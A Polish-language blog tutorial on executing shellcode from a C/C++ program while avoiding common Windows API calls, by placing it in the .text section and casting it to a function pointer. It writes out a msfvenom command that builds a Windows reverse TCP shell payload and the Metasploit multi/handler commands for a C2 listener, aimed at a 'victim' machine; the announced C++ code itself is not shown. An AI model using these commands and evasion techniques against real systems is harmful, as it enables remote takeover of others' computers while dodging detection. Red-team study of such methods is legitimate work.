W ostatnim naszym artykule pokazaliśmy uruchomienie złośliwego kodu za pomocą wbudowanych w Windows funkcji API np. VirtualAlloc() – funkcji powalającej zarezerwować lub zmienić alokację kodu w pamięci.
Jest to jedna ze znanych metod infekcji malware i uruchomienia go w pamięci komputera.

W dzisiejszym artykule pokażemy inną, równie ciekawą metodę na uruchomienie takiego złośliwego kodu z poziomu aplikacji napisanej w C/C++ bez korzystania ze wskaźników funkcji API (dobrze znanych interfejsów API systemu Windows, takich jak VirtualAlloc, CreateThread) lub w ogóle innych funkcji, nawet funkcji głównej (main w C/c++) 🙂 Cały kod zajmuje kilka linijek!


Co potrzebujemy?

Pierwszą rzeczą jaka musimy wygenerować to shellcode, który wstawimy jako zmienną do naszego programu napisanego w C++. Przygotować go możemy w dwóch krokach.

Krok 1. Wygenerowanie ładunku w C

Pierwszą rzeczą, jaką wykonamy to wygenerowanie ładunku w języku C++. Wygenerować go możemy za pomocą narzędzia Metasploit msfvenom, nastepującą komendą:

msfvenom -p windows/x64/shell_reverse_tcp -f c LHOST=172.16.215.129 LPORT=443

Krok 2. Przygotowanie nasłuchu połączenia odwrotnego TCP na serwerze C2

Drugą rzeczą jaką musimy przygotować to skonfigurowanie serwera C2 do nasłuchu na określonym porcie (w naszym przypadku 443) wszystkich połączeń/sesji od naszego kodu powłoki (ładunku), który zostanie uruchomiony na komputerze ofiary. Komunikacja będzie działała po połączeniu odwrotnym TCP, więc wystarczy, że wskażemy na sztywno adres IP serwera oraz port.

W tym celu posłużymy się modułem „multi/handler” w Metasploit, który przechwyci sesję po wykonaniu kodu powłoki w systemie docelowym.

Komendy jakie musimy wprowadzić to:
use exploit/multi/handler
set payload windows/x64/shell_reverse_tcp
set LPORT 443
set LHOST 172.16.215.129
exploit


Napisanie kodu w C++ i kompilacja

W celu uruchomienia naszego ładunku przygotowanego w kroku 1, musimy użyć MS Visual C ++ i sekcji pragma wraz ze specyfikatorem deklaracji alokacji.
W ten sposób wskażemy kompilatorowi C++, że chcemy, aby nasz shellcode został przydzielony w sekcji .text naszego przenośnego pliku wykonywalnego, co eliminuje potrzebę programu do przydzielania obiektu blob pamięci RWX do przechowywania kodu powłoki.
Dodatkowo musimy rzucić tablicę zawierającą nasz shellcode na wskaźnik funkcji i wywołać ją – to pozwala nam pominąć CreateThread lub podobne API Windows, które są zwykle używane do przeskakiwania do shellcode

Kod w programie C++ wygląda następująco:

Po wstawieniu do zmiennej tablicowej shellcode (kodu wygenerowanego w kroku 1) i kompilacji programu możemy go uruchomić na Windows 10.

Po uruchomieniu na Windows 10 zobaczymy połączenie do naszego serwera C2 i będziemy posiadać uruchomioną zdalną sesję do Windows 10.

Podziel się z innymi tym artykułem!